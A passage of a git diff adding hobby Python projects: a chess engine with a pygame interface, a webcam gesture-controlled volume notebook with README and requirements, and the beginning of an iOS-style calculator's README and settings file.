if move.pawn_promotion: + # place queen of same color at pawn's place + self.board[move.endRow][move.endCol] = move.pieceMoved[0] + user_choice + + + + + def makeMove(self,move): + # make the move and update the board + self.board[move.startRow][move.startCol] = "--" + self.board[move.endRow][move.endCol] = move.pieceMoved + self.moveLog.append(move) + # swap turns after move + self.whitemove = not self.whitemove + if move.pieceMoved == 'wK': + self.whiteKingLocation = (move.endRow,move.endCol) + if move.pieceMoved == 'bK': + self.blackKingLocation = (move.endRow,move.endCol) + + if move.enpassantPossible: + self.board[move.startRow][move.endCol] = "--" + # capturing the pawn + #update enpassantPossible variable + + # only if the pawn moves two squares ahead + # used abs so that it works for both white and black pawns + # both up the board and down the board + if move.pieceMoved[1] == 'p' and abs(move.startRow - move.endRow) == 2: + self.enpassantPossible = ((move.startRow + move.endRow)//2,move.startCol) + else: + # reset enpassantPossible + self.enpassantPossible = () + + # updateCastleRights(move) + + + if move.isCastleMove: + if move.endCol - move.startCol == 2: + # king side castle move + self.board[move.endRow][move.endCol-1] = self.board[move.endRow][move.endCol+1] + self.board[move.endRow][move.endCol+1] = "--" + else: + # queen side castle move + self.board[move.endRow][move.endCol+1] = self.board[move.endRow][move.endCol-2] + self.board[move.endRow][move.endCol-2] = "--" + + + # castling + # if king moves two squares to the right + # then rook moves one square to the left + # and vice versa + self.updateCastleRights(move) + self.castleRightsLog.append(castleRights(self.currentCastlingRights.wks,self.currentCastlingRights.bks,self.currentCastlingRights.wqs,self.currentCastlingRights.bqs)) + + # update casting rights whenever it is a rook or a king move + # if a rook or a king moves from its starting position + # then we have to update the castling rights + + + + + + + + + # pawn promotion + + + + + def undoMove(self): + # to make sure that there is a move to undo + if len(self.moveLog) != 0: + # pop returns and removes the last element from the list + move = self.moveLog.pop() + + self.board[move.startRow][move.startCol] = move.pieceMoved + # undoing the move + self.board[move.endRow][move.endCol] = move.pieceCaptured + # to make sure the piece captured is not empty + # switch turns back + self.whitemove = not self.whitemove + if move.pieceMoved == 'wK': + self.whiteKingLocation = (move.startRow,move.startCol) + if move.pieceMoved == 'bK': + self.blackKingLocation = (move.startRow,move.startCol) + + # undo enpassantPossible + if move.enpassantPossible: + self.board[move.endRow][move.endCol] = "--" + # leave the landing square blank + self.board[move.startRow][move.endCol] = move.pieceCaptured + # redo the enpassant capture + # if i undo the move, i have to set the enpassantPossible to the square where the enpassant capture was possible + self.enpassantPossible = (move.endRow,move.endCol) + # undo 2 square pawn advance + if move.pieceMoved[1] == 'p' and abs(move.startRow - move.endRow) == 2: + self.enpassantPossible = () + self.castleRightsLog.pop() + self.currentCastlingRights = self.castleRightsLog[-1] + self.currentCastlingRights = castleRights(self.currentCastlingRights.wks,self.currentCastlingRights.bks,self.currentCastlingRights.wqs,self.currentCastlingRights.bqs) + # undo castling rights + # if a rook or a king moves from its starting position + # then we have to update the castling rights + # if a rook or a king moves from its starting position + # then we have to update the castling rights + if move.isCastleMove: + if move.endCol - move.startCol == 2: + # king side castle move + self.board[move.endRow][move.endCol+1] = self.board[move.endRow][move.endCol-1] + self.board[move.endRow][move.endCol-1] = "--" + else: + # queen side castle move + self.board[move.endRow][move.endCol-2] = self.board[move.endRow][move.endCol+1] + self.board[move.endRow][move.endCol+1] = "--" + self.checkmate = False + self.stalemate = False + + def updateCastleRights(self,move): + if move.pieceMoved == 'wK': + self.currentCastlingRights.wks = False + self.currentCastlingRights.wqs = False + elif move.pieceMoved == 'bK': + self.currentCastlingRights.bks = False + self.currentCastlingRights.bqs = False + elif move.pieceMoved == 'wR': + if move.startRow == 7: + if move.startCol == 0: + self.currentCastlingRights.wqs = False + elif move.startCol == 7: + self.currentCastlingRights.wks = False + elif move.pieceMoved == 'bR': + if move.startRow == 0: + if move.startCol == 0: + self.currentCastlingRights.bqs = False + elif move.startCol == 7: + self.currentCastlingRights.bks = False + def getvalidmoves(self): + for log in self.moveLog: + print(log.getChessNotation()) + # to store a copy of the enpassantPossible variable + temp_enpassantPossible = self.enpassantPossible + tempCastleRights = castleRights(self.currentCastlingRights.wks,self.currentCastlingRights.bks,self.currentCastlingRights.wqs,self.currentCastlingRights.bqs) + # 1. generate all possible moves + moves = self.getAllPossibleMoves() + + # 2. for each move, make the move + + if self.whitemove: + self.getCastleMoves(self.whiteKingLocation[0],self.whiteKingLocation[1],moves) + else: + self.getCastleMoves(self.blackKingLocation[0],self.blackKingLocation[1],moves) + + + # while removing an element from a list, we have to traverse the list backwards + # because the indexes change after removing the element + + + + for i in range(len(moves)-1,-1,-1): + + # make move + self.makeMove(moves[i]) + + # 3. generate all possible moves for the opponent + # 4. for each of your opponent's move, see if they attack your king + self.whitemove = not self.whitemove + if self.inCheck(): + moves.remove(moves[i]) + self.whitemove = not self.whitemove + self.undoMove() + + + # 3. generate all possible moves for the opponent + # 4. for each of your opponent's move, see if they attack your king + if len(moves) == 0: + if self.inCheck(): + self.checkmate = True + else: + self.stalemate = True + # if we undo the move, we have to set the checkmate and stalemate to false + else: + self.checkmate = False + self.stalemate = False + + # because we are not making any move + # we have to reset the enpassantPossible variable + # to its original value + + self.enpassantPossible = temp_enpassantPossible + + + # reset + self.currentCastlingRights = tempCastleRights + + + return moves + + def inCheck(self): + if self.whitemove: + return self.squareUnderAttack(self.whiteKingLocation[0],self.whiteKingLocation[1]) + else: + return self.squareUnderAttack(self.blackKingLocation[0],self.blackKingLocation[1]) + + def squareUnderAttack(self,r,c): + self.whitemove = not self.whitemove + opp_moves = self.getAllPossibleMoves() + self.whitemove = not self.whitemove + for move in opp_moves: + if move.endRow == r and move.endCol == c: + return True + return False + + + + + + + # all moves without considering checks + def getAllPossibleMoves(self): + + # + + + + # empty list for storing all possible moves + poss_moves = [] + # loop through all the squares in the board using nested for loop + for rows in range(len(self.board)): + for columns in range(len(self.board[rows])): + + # checking the first char of pieces + # assigning moves to pieces according to their color + turn = self.board[rows][columns][0] + if (turn == 'w' and self.whitemove) or (turn == 'b' and not self.whitemove): + # if the piece is a pawn + # because each piece has its own set of rules + piece = self.board[rows][columns][1] + self.moveFunctions[piece](rows,columns,poss_moves) + # calls the proper function for each piece + + + + return poss_moves + + def getPawnMoves(self,rows,columns,poss_moves): + # if white pawn + # + if self.whitemove: + # if the square in front of the pawn is empty + if self.board[rows-1][columns] == "--": + # going a row ahead not diagonal so column reamins the same + poss_moves.append(Move((rows,columns),(rows-1,columns),self.board)) + + # if the pawn is in its starting position + # for pawns first move + # we can move two squares ahead + # so append move rows-2 + + # check two conditions for this + # 1. the square two squares ahead is empty + # pawn is at row 6 (its starting position) + if rows == 6 and self.board[rows-2][columns] == "--": + poss_moves.append(Move((rows,columns),(rows-2,columns),self.board)) + # mark this square by photo + + + + if columns-1 >= 0: + if self.board[rows-1][columns-1][0] == 'b': + poss_moves.append(Move((rows,columns),(rows-1,columns-1),self.board)) + elif (rows-1,columns-1) == self.enpassantPossible: + # if the square is the enpassant square + # then we can capture the pawn + # so we have to add the move + poss_moves.append(Move((rows,columns),(rows-1,columns-1),self.board,enpassantPossible = True)) + if columns+1 <= 7: + if self.board[rows-1][columns+1][0] == 'b': + poss_moves.append(Move((rows,columns),(rows-1,columns+1),self.board)) + elif (rows-1,columns+1) == self.enpassantPossible: + # if the square is the enpassant square + # then we can capture the pawn + # so we have to add the move + poss_moves.append(Move((rows,columns),(rows-1,columns+1),self.board,enpassantPossible = True)) + else: + if self.board[rows+1][columns] == "--": + poss_moves.append(Move((rows,columns),(rows+1,columns),self.board)) + if rows == 1 and self.board[rows+2][columns] == "--": + poss_moves.append(Move((rows,columns),(rows+2,columns),self.board)) + if columns-1 >= 0: + if self.board[rows+1][columns-1][0] == 'w': + poss_moves.append(Move((rows,columns),(rows+1,columns-1),self.board)) + elif (rows+1,columns-1) == self.enpassantPossible: + # if the square is the enpassant square + # then we can capture the pawn + # so we have to add the move + poss_moves.append(Move((rows,columns),(rows+1,columns-1),self.board,enpassantPossible = True)) + if columns+1 <= 7: + if self.board[rows+1][columns+1][0] == 'w': + poss_moves.append(Move((rows,columns),(rows+1,columns+1),self.board)) + elif (rows+1,columns+1) == self.enpassantPossible: + # if the square is the enpassant square + # then we can capture the pawn + # so we have to add the move + poss_moves.append(Move((rows,columns),(rows+1,columns+1),self.board,enpassantPossible = True)) + def getRookMoves(self,rows,columns,poss_moves): + + # to get the direction like vector without changing the value of the original tuple + # back row,back column,forward row,forward column + directions = ((-1,0),(0,-1),(1,0),(0,1)) + # white rook --> wR + # black rook --> bR + # so we can use the first character to check the color of the piece + # and the second character to check the type of the piece + # so we can use the second character to check the type of the piece + # so we can use the second character to check the type of the piece + enemy_color = "b" if self.whitemove else "w" + for d in directions: + for i in range(1,8): + + # direction into magnitude + endRow = rows + d[0]*i + + # kaha into kitne se + endCol = columns + d[1]*i + # if the square is on the board + + if 0 <= endRow < 8 and 0 <= endCol < 8: + # square is on the board + endPiece = self.board[endRow][endCol] + # if the square is empty + + # append the moves till the squares are empty + if endPiece == "--": + poss_moves.append(Move((rows,columns),(endRow,endCol),self.board)) + elif endPiece[0] == enemy_color: + # move to capture the piece + poss_moves.append(Move((rows,columns),(endRow,endCol),self.board)) + break + # cant go over the enemy piece + else: + # cant capture alsi + break + # cant go over your own piece + else: + # all squares are out of board + break + + + def getKnightMoves(self,rows,columns,poss_moves): + knight_moves = ((-2,-1),(-2,1),(-1,-2),(-1,2),(1,-2),(1,2),(2,-1),(2,1)) + ally_color = "w" if self.whitemove else "b" + for m in knight_moves: + endRow = rows + m[0] + endCol = columns + m[1] + if 0 <= endRow < 8 and 0 <= endCol < 8: + + endPiece = self.board[endRow][endCol] + if endPiece[0] != ally_color: + # enemy hai kya + # nahi na + # toh move + poss_moves.append(Move((rows,columns),(endRow,endCol),self.board)) + + + def getBishopMoves(self,rows,columns,poss_moves): + # bishop can move diagonally + # left diagonal down, left diagonal up, right diagonal down, right diagonal up + directions = ((-1,-1),(-1,1),(1,-1),(1,1)) + enemy_color = "b" if self.whitemove else "w" + for d in directions: + # maximum square limit + for i in range(1,8): + endRow = rows + d[0]*i + endCol = columns + d[1]*i + if 0 <= endRow < 8 and 0 <= endCol < 8: + endPiece = self.board[endRow][endCol] + if endPiece == "--": + poss_moves.append(Move((rows,columns),(endRow,endCol),self.board)) + elif endPiece[0] == enemy_color: + poss_moves.append(Move((rows,columns),(endRow,endCol),self.board)) + break + else: + break + else: + break + + + def getQueenMoves(self,rows,columns,poss_moves): + + self.getBishopMoves(rows,columns,poss_moves) + self.getRookMoves(rows,columns,poss_moves) + + def getKingMoves(self,rows,columns,poss_moves): + # all squares surrounding the king + directions = ((-1,-1),(-1,0),(-1,1),(0,-1),(0,1),(1,-1),(1,0),(1,1)) + + # but just one move + + ally_color = "w" if self.whitemove else "b" + + for d in directions: + # traversing for all possible moves + + endRow = rows + d[0] + endCol = columns + d[1] + + # filtering out the moves that are out of board + if 0 <= endRow < 8 and 0 <= endCol < 8: + + endPiece = self.board[endRow][endCol] + + # not running on a ally piece + if endPiece[0] != ally_color: + poss_moves.append(Move((rows,columns),(endRow,endCol),self.board)) + + # self.getCastleMoves(rows,columns,poss_moves) + + + def getCastleMoves(self,rows,columns,poss_moves): + if self.squareUnderAttack(rows,columns): + return + if (self.whitemove and self.currentCastlingRights.wks) or (not self.whitemove and self.currentCastlingRights.bks): + self.getKingSideCastleMoves(rows,columns,poss_moves) + if (self.whitemove and self.currentCastlingRights.wqs) or (not self.whitemove and self.currentCastlingRights.bqs): + self.getQueenSideCastleMoves(rows,columns,poss_moves) + + def getKingSideCastleMoves(self,rows,columns,poss_moves): + if self.board[rows][columns+1] == '--' and self.board[rows][columns+2] == '--': + if not self.squareUnderAttack(rows,columns+1) and not self.squareUnderAttack(rows,columns+2): + poss_moves.append(Move((rows,columns),(rows,columns+2),self.board,isCastleMove = True)) + + + def getQueenSideCastleMoves(self,rows,columns,poss_moves): + if self.board[rows][columns-1] == '--' and self.board[rows][columns-2] == '--' and self.board[rows][columns-3] == '--': + if not self.squareUnderAttack(rows,columns-1) and not self.squareUnderAttack(rows,columns-2): + poss_moves.append(Move((rows,columns),(rows,columns-2),self.board,isCastleMove = True)) + + +class castleRights(): + def __init__(self,wks,bks,wqs,bqs): + self.wks = wks + self.bks = bks + self.wqs = wqs + self.bqs = bqs + # white king side, black king side, white queen side, black queen side + + + + + + + + + + +class Move(): + # map position from rows and columns to ranks and files in chess + + + # so using dictionaries to map + ranksToRows = {"1":7,"2":6,"3":5,"4":4, + "5":3,"6":2,"7":1,"8":0} + + # reversing the above dictionary + rowsToRanks = {v:k for k,v in ranksToRows.items()} + + + # using for converting columns to files + filesToCols = {"a":0,"b":1,"c":2,"d":3, + "e":4,"f":5,"g":6,"h":7} + colsToFiles = {v:k for k,v in filesToCols.items()} + + + # fn with optional parameter + def __init__(self,start_sq,end_sq,board,enpassantPossible = False,isCastleMove = False): + # start_sq + # source + + # end_sq + # destination + + # board state passed to validate the move and store information about the move + # what piece was captured? --> information + + # for first tuple that is sq_selected in player_clicks + self.startRow = start_sq[0] + self.startCol = start_sq[1] + + # for second tuple that is sq_selected in player_clicks + self.endRow = end_sq[0] + self.endCol = end_sq[1] + + # refers to pos in board + self.pieceMoved = board[self.startRow][self.startCol] # piece moved + + # refers to pos in board + self.pieceCaptured = board[self.endRow][self.endCol] # piece captured + self.moveID = self.startRow*1000 + self.startCol*100 + self.endRow*10 + self.endCol + + # default value for flag + self.pawn_promotion = False + # conditions of location and piece for pawn promotion + if (self.pieceMoved == "wp" and self.endRow == 0) or (self.pieceMoved == "bp" and self.endRow == 7): + self.pawn_promotion = True + + # flag for en passant move + self.enpassantPossible = enpassantPossible + if self.enpassantPossible: + self.pieceCaptured = 'wp' if self.pieceMoved == 'bp' else 'bp' + + self.isCastleMove = isCastleMove + # if pawn is moving two squares ahead + # if self.pieceMoved[1] == 'p' and abs(self.startRow - self.endRow) == 2: + # self.isEnpassantMove = True + # if pawn is moving two squares ahead + # if the pawn moves two squares ahead + + + + + + # self.promotionChoice = "Q" + + # we could write pawn promotion flags in the getpawnmoves itself but we chose this because of less new code to be written here + print(self.moveID) + + + def __eq__(self, other): + # comparing this object to another object + + # to ensure that we are comparing two move objects and not some other class object + if isinstance(other,Move): + return self.moveID == other.moveID + return False + + def getChessNotation(self): + # you can add to make this like real chess notation + return self.pieceMoved + "to" + self.getRankFile(self.startRow,self.startCol) + self.getRankFile(self.endRow,self.endCol) + + def getRankFile(self,rows,columns): + return self.colsToFiles[columns] + self.rowsToRanks[rows] + + # castling + # king cannot move to a square that is under attack + # sqs clear + # sqs cannot be under attack + # king didnt move + # king not in check + # first move of king and rook \ No newline at end of file diff --git a/PYTHON APPS/Chess/main.py b/PYTHON APPS/Chess/main.py new file mode 100644 index 00000000..bc105596 --- /dev/null +++ b/PYTHON APPS/Chess/main.py @@ -0,0 +1,326 @@ +import pygame as p +import engine + + +# square window for our game. +# can change screen size from here +screen_width = screen_height = 550 +screen_caption = "Two Player Chess by Purna" +icon = p.image.load(r"Images\icon.png") + +# rows and columns + +dimensions = 8 + +# making sqaures in the screen to display chess board boxes +sq_size = screen_height // dimensions + +fps = 30 +# to pass as an argument in clock.tick +# adjust if game become laggy + +images = {} + +def load_images(): + + # load all images once as it is cpu heavy task + pieces = ["wp", "wR", "wN", "wB", "wQ", "wK", "bp", "bR", "bN", "bB", "bQ", "bK"] + for piece in pieces: + image_path = r"Images" + "\\" + piece + ".png" + + images[piece] = p.transform.scale(p.image.load(image_path).convert_alpha(), (sq_size, sq_size)) + + # pygame.transform.scale to adjust the image + +def main(): + p.init() + + + + # os.system("welcome.mp3") + + + # setting screen with sizes + + # closing our face detection window + + + screen = p.display.set_mode((screen_width,screen_height), p.HWSURFACE | p.DOUBLEBUF) + + + + p.display.set_caption(screen_caption) + p.display.set_icon(icon) + p.display.update() + # clock object + clock = p.time.Clock() + # fps change karega to limit CPU in clock.tick(15) + + screen.fill(p.Color("white")) + # aise hi + + # creating a gamestate object joh ki constructor ko call karega apne + # dot operator to call gamestate() in engine + + gs = engine.gamestate() + + + # to store valid moves + valid_moves = gs.getvalidmoves() + + + # print(gs.board) + move_made = False + # to update valid moves only when a move is made + + # flag variable for when a move is made + # loading the images "once" + load_images() + + # running variable to check start and quit + running = True + # tuple to keep the last square selected + sq_selected = () + # no square is selected at start + # tuple: (row,col) + # playerClicks = [] + + # list to keep two inputs + player_clicks = [] + # keep track of player clicks (two tuples: [(6, 4), (4, 4)]) + + + done = True + + chess = p.transform.scale_by(p.image.load(r"Images\chess.jpg"),0.25) + screen.fill(p.Color("black")) + while done: + + screen.blit(chess,p.Rect(200-5*sq_size + 180,200-5*sq_size + 200,10,10)) + screen.blit(p.transform.scale_by(icon,0.5),p.Rect(470-5*sq_size+15,screen_height/2-270,10,10)) + showtext(screen, "Welcome to Chess", (screen_height/2 - 230,screen_height/2 - 10), 40) + showtext(screen, "Press any key to start the game", (screen_height/2 - 220,screen_height/2+50),25) + + + p.display.flip() + for event in p.event.get(): + if event.type == p.QUIT: + p.quit() + if event.type == p.KEYDOWN: + done = False + # showtext(screen, predicted_name + " is playing") + + + + + + # start of my gameloop + while running: + + # lets keep a for loop to get events + for event in p.event.get(): + # print(p.display.Info()) + # if the type of event is this + + if event.type == p.QUIT: + # to exit the whileloop + running = False + elif event.type == p.MOUSEBUTTONDOWN: + # mouse kaha h? + mouse_location = p.mouse.get_pos() # (x,y) location of mouse + # get x and y from list + column = mouse_location[0]//sq_size + row = mouse_location[1]//sq_size + + + # first click is select, second click is undo + if sq_selected == (row,column): + # user clicks same sqaure again + sq_selected = () # undo + player_clicks = [] + else: + # store the square selected by the user now + sq_selected = (row,column) + player_clicks.append(sq_selected) + # first time it will append to empty list then it appends to list[0] + + + # hume pata karna hai user ka first click hai ya second + if len(player_clicks)==2: + + # do clicks hogye toh bolenge make move + # so call the move class constructor + move = engine.Move(player_clicks[0],player_clicks[1],gs.board) + print(move.getChessNotation()) + + # player_clicks[0] is our source + # player_clicks[1] is our piece's destination + for i in range(len(valid_moves)): + + # only get valid move object + # so check for it + + if move == valid_moves[i]: + + gs.makeMove(valid_moves[i]) + user_choice = "Q" + while move.pawn_promotion: + p.display.set_caption("Choose a piece to promote to") + screen.fill(p.Color("black")) + screen.blit(p.transform.scale_by(p.image.load(r"Images\PromotionMenu.jpg"),0.2),p.Rect(200-sq_size,200-sq_size,10,10)) + showtext(screen, "Enter the corresponding character of the piece you want to promote to :", (200,200),12) + p.display.flip() + user_choice = "" + for event in p.event.get(): + if event.type == p.KEYDOWN: + if event.key == p.K_q: + gs.makePawnPromotion(move,"Q") + move.pawn_promotion=False + + elif event.key == p.K_r: + gs.makePawnPromotion(move,"R") + move.pawn_promotion=False + + elif event.key == p.K_b: + gs.makePawnPromotion(move,"B") + move.pawn_promotion=False + elif event.key == p.K_n: + gs.makePawnPromotion(move,"N") + move.pawn_promotion=False + else: + gs.makePawnPromotion(move,"Q") + move.pawn_promotion=False + p.display.set_caption("ChessAI") + + + + + # argument to makemove is generated by the engine + + + + move_made = True + + sq_selected = () # reset user clicks + player_clicks = [] + + + + # reset the user clicks after making the move each time + if not move_made: + player_clicks = [sq_selected] + + + #gs.makeMove(move) + # to make the move + + elif event.type == p.KEYDOWN: + if event.key == p.K_z: + gs.undoMove() + + move_made = True + # when the user undoes a move the valid moves change + # so change the flag variable to true + + # to update the valid moves + if move_made: + valid_moves = gs.getvalidmoves() + move_made = False + + + + # calling the draw boardand pieces fn + draw_game_state(screen,gs) + clock.tick(fps) + p.display.flip() + # to update the display + +# method to draw sqs on board and graphics of a current gamestate +def draw_game_state(screen,gs): + + # to draw squares on the board + drawboard(screen) + + #board-->pieces order ofc matter karega nhi toh pieces piche chip jayenge + + # to draw pieces + drawpieces(screen,gs.board) # board from engine gamestate ka object gs , isliye dot + +def drawboard(screen): + # lets draw squares + # white and grey alternate + # make list to store white and grey switch karna easy hoga + # colors = [p.Color("white"), p.Color("dark gray")] + images = [p.image.load(r"images\ltb.jpg").convert_alpha(),p.image.load(r"images\dtb.jpg").convert_alpha()] + + for rows in range(dimensions): + for columns in range(dimensions): + # [00,10,20,30,40,50,60,70] + # [01,11,21,31,41,51,61,71] + # [02,12,22,32,42,52,62,72] + # [03,13,23,33,43,53,63,73] + # [04,14,24,34,44,54,64,74] + # [05,15,25,35,45,55,65,75] + # [06,16,26,36,46,56,66,76] + # [07,17,27,37,47,57,67,77] + + # trend we see here is that if we add rows and columns + # dark sqaures are odd + # light sqaures are even + + # color = colors[(rows+columns)%2] + image = images[(rows+columns)%2] + # even --> colors[0] --> white + # odd --> colors[1] --> black + + # smpart + + # just draw rectangle (surface,color,) + custom_img = p.Surface((sq_size,sq_size)) + + screen.blit(image,p.Rect(columns*sq_size,rows*sq_size,sq_size,sq_size)) + + # p.draw.rect(screen, color, p.Rect(columns*sq_size,rows*sq_size, sq_size, sq_size)) + +def drawpieces(screen,board): + for rows in range(dimensions): + for columns in range(dimensions): + pieces = board[rows][columns] + if pieces != "--": + screen.blit(images[pieces],p.Rect(columns*sq_size,rows*sq_size,sq_size,sq_size)) + # accessing our gs.board multi dim list by using [][] + # to assign each square a piece + +# function to show a menu an ask the user the piece to promote to in pawn promotion + + + + + + + + +def showtext(screen,text,location,fontsize): + font = p.font.SysFont("Copperplate gothic", fontsize, True, False) + textObject = font.render(text, 0, p.Color('White')) + location1 = p.Rect(location, location) + # textLocation = p.Rect(0, 0, screen_width, screen_height).move(screen_width / 2 - textObject.get_width() / 2, screen_height / 2 - textObject.get_height() / 2) + # white = p.Color("black") + # screen.blit(white,p.rect(textLocation,textLocation,200,200)) + screen.blit(textObject, location1) + + + + + + + + +# if we import something in the main code we need to do this cause it wont run otherwise +# THIS CODE WE HAVE TO RUN AS THIS IS OUR MAIN CODE AND WE IMPORT OTHER MODULES IN THIS CODE +# SO WE WRITE THIS +# The if __name__ == "__main__": construct is used to +# ensure that a specific block of code only runs when the Python script is executed directly, +# not when it's imported as a module in another script. +if __name__=="__main__": + main() \ No newline at end of file diff --git a/PYTHON APPS/GestureControlledVolume/GestureControlledVolume.ipynb b/PYTHON APPS/GestureControlledVolume/GestureControlledVolume.ipynb new file mode 100644 index 00000000..2b648868 --- /dev/null +++ b/PYTHON APPS/GestureControlledVolume/GestureControlledVolume.ipynb @@ -0,0 +1,196 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "id": "bbcc9707", + "metadata": {}, + "outputs": [], + "source": [ + "conda install opencv" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9503238e", + "metadata": {}, + "outputs": [], + "source": [ + "import cv2" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e7af804f", + "metadata": {}, + "outputs": [], + "source": [ + "import mediapipe as mp" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "953e7623", + "metadata": {}, + "outputs": [], + "source": [ + "import math " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "889f973c", + "metadata": {}, + "outputs": [], + "source": [ + "pip install pycaw" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0bbc1460", + "metadata": {}, + "outputs": [], + "source": [ + "from ctypes import cast, POINTER\n", + "from comtypes import CLSCTX_ALL\n", + "from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fb4f9175", + "metadata": {}, + "outputs": [], + "source": [ + "import numpy as np" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f47550a4", + "metadata": {}, + "outputs": [], + "source": [ + "devices = AudioUtilities.GetSpeakers()\n", + "interface = devices.Activate(\n", + " IAudioEndpointVolume._iid_, CLSCTX_ALL, None)\n", + "volume = cast(interface, POINTER(IAudioEndpointVolume))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0f9c586f", + "metadata": {}, + "outputs": [], + "source": [ + "#volume.GetMute()\n", + "#print(volume.GetMasterVolumeLevel())\n", + "#print(volume.GetVolumeRange())\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3a7cc9ac", + "metadata": {}, + "outputs": [], + "source": [ + "cap = cv2.VideoCapture(0)\n", + "mpHands = mp.solutions.hands\n", + "hands = mpHands.Hands()\n", + "mpDraw = mp.solutions.drawing_utils\n", + "\n", + "\n", + "while True:\n", + " success,img = cap.read()\n", + " imgRGB = cv2.cvtColor(img , cv2.COLOR_BGR2RGB)\n", + " results= hands.process(imgRGB)\n", + " #print(results.multi_hand_landmarks)\n", + " \n", + " if results.multi_hand_landmarks:\n", + " for handLms in results.multi_hand_landmarks:\n", + " lmList =[]\n", + " for id, lm in enumerate (handLms.landmark):\n", + " #print(id, lm)\n", + " h , w , c = img.shape\n", + " cx , cy = int(lm.x*w), int(lm.y*h)\n", + " #print(id, cx, cy)\n", + " lmList.append([id, cx, cy])\n", + " #print(lmList)\n", + " mpDraw.draw_landmarks(img,handLms,mpHands.HAND_CONNECTIONS)\n", + " \n", + " if lmList:\n", + " x1,y1 = lmList[4][1],lmList[4][2]\n", + " x2,y2 = lmList[8][1],lmList[8][2]\n", + " \n", + " cv2.circle(img,(x1,y1),10,(255,0,9),cv2.FILLED)\n", + " cv2.circle(img,(x2,y2),10,(255,0,9),cv2.FILLED)\n", + " cv2.line(img,(x1,y1),(x2,y2),(134,1,175),3)\n", + " \n", + " length = math.hypot(x2-x1,y2-y1)\n", + " print(length)\n", + " \n", + " if length <50:\n", + " z1 = (x1+x2)//2\n", + " z2 = (y1+y2)//2\n", + " cv2.circle(img,(z1,z2),10,(255,0,9),cv2.FILLED)\n", + " \n", + " volRange = volume.GetVolumeRange()\n", + " minVol = volRange[0]\n", + " maxVol = volRange[1]\n", + " vol = np.interp(length,[50,300],[minVol,maxVol])\n", + " volBar = np.interp(length, [50,300],[400,150])\n", + " volPer = np.interp(length, [50,300],[0,100])\n", + " volume.SetMasterVolumeLevel(vol,None)\n", + " cv2.rectangle(img,(50,150),(85,400),(191,62,255),3)\n", + " cv2.rectangle(img,(50,int(volBar)),(85,400),(191,62,255),cv2.FILLED)\n", + " cv2.putText(img,str(int(volPer)),(40,100),cv2.FONT_HERSHEY_DUPLEX,4,(126,58,234))\n", + " \n", + " \n", + " cv2.imshow(\"Image\",img) \n", + " cv2.waitKey(1)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f5735e95", + "metadata": {}, + "outputs": [], + "source": [ + "#length 50-300\n", + "#volRange -24 to +21" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.8" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/PYTHON APPS/GestureControlledVolume/README.md b/PYTHON APPS/GestureControlledVolume/README.md new file mode 100644 index 00000000..80ea10b4 --- /dev/null +++ b/PYTHON APPS/GestureControlledVolume/README.md @@ -0,0 +1,21 @@ +## Introduction + +Gesture Controlled Volume is an interactive Python project that allows you to control your computer's audio volume using hand gestures detected by your camera. It combines computer vision, hand tracking, and audio control to provide a unique and intuitive way to adjust audio settings. + +## Features + +- Real-time hand tracking using the MediaPipe library. +- Interactive volume control based on the distance between two fingers. +- Visual feedback on the video feed for a user-friendly experience. + +## Requirements + +To run Gesture Controlled Volume, you need the following: + +- Python 3.x +- OpenCV +- MediaPipe +- NumPy +- pycaw + +You can install these dependencies using the provided `requirements.txt` file. \ No newline at end of file diff --git a/PYTHON APPS/GestureControlledVolume/requirements.txt b/PYTHON APPS/GestureControlledVolume/requirements.txt new file mode 100644 index 00000000..71f1f88f --- /dev/null +++ b/PYTHON APPS/GestureControlledVolume/requirements.txt @@ -0,0 +1,16 @@ +# requirements.txt + +# Specify the required Python version +python_version >= 3.6 + +# OpenCV for computer vision +opencv-python==4.5.3 + +# MediaPipe for hand tracking +mediapipe==0.8.3 + +# NumPy for numerical operations +numpy==1.21.2 + +# pycaw for audio control +pycaw==2021.6.24 diff --git a/PYTHON APPS/Moder_Calculator_IOS/README.md b/PYTHON APPS/Moder_Calculator_IOS/README.md new file mode 100644 index 00000000..dd370ee7 --- /dev/null +++ b/PYTHON APPS/Moder_Calculator_IOS/README.md @@ -0,0 +1,22 @@ +# Mordern Looking Calculator + + The calculator has a them like IOS calculator.And is made in Tkinter + with [ttkboostrap](https://ttkbootstrap.readthedocs.io/en/latest/). + The app it will look different on windows and Linux/Macos. + +## Installation + + Use the package manager [pip](https://pip.pypa.io/en/stable/) to + install [ttkboostrap](https://ttkbootstrap.readthedocs.io/en/latest/) + +```bash +pip install ttkboostrap +``` + +## Contributing + + Any advice are wellcome. :) + +## License + +[GNU GPLv3](https://choosealicense.com/licenses/gpl-3.0/) diff --git a/PYTHON APPS/Moder_Calculator_IOS/calculator.ico b/PYTHON APPS/Moder_Calculator_IOS/calculator.ico new file mode 100644 index 00000000..759d287a Binary files /dev/null and b/PYTHON APPS/Moder_Calculator_IOS/calculator.ico differ diff --git a/PYTHON APPS/Moder_Calculator_IOS/configuration.py b/PYTHON APPS/Moder_Calculator_IOS/configuration.py new file mode 100644 index 00000000..b4725116 --- /dev/null +++ b/PYTHON APPS/Moder_Calculator_IOS/configuration.py @@ -0,0 +1,49 @@ +""" + Here are the settings for the app and the layout. + You can change the settings below, I used a dictionary format. +""" +# Size and layout app + +APP_SIZE: tuple[int, int] = (600, 800) +MAIN_ROW: int = 7 +MAIN_COLUMN: int = 4 + +FONT: str = 'Helvetica' +OUTPUT_FONT_SIZE: int = 70 +NORMAL_FONT_SIZE: int = 32 +BUTTON_FONT_SIZE: int = 0 + +NUMBER_POSITIONS: dict[str, 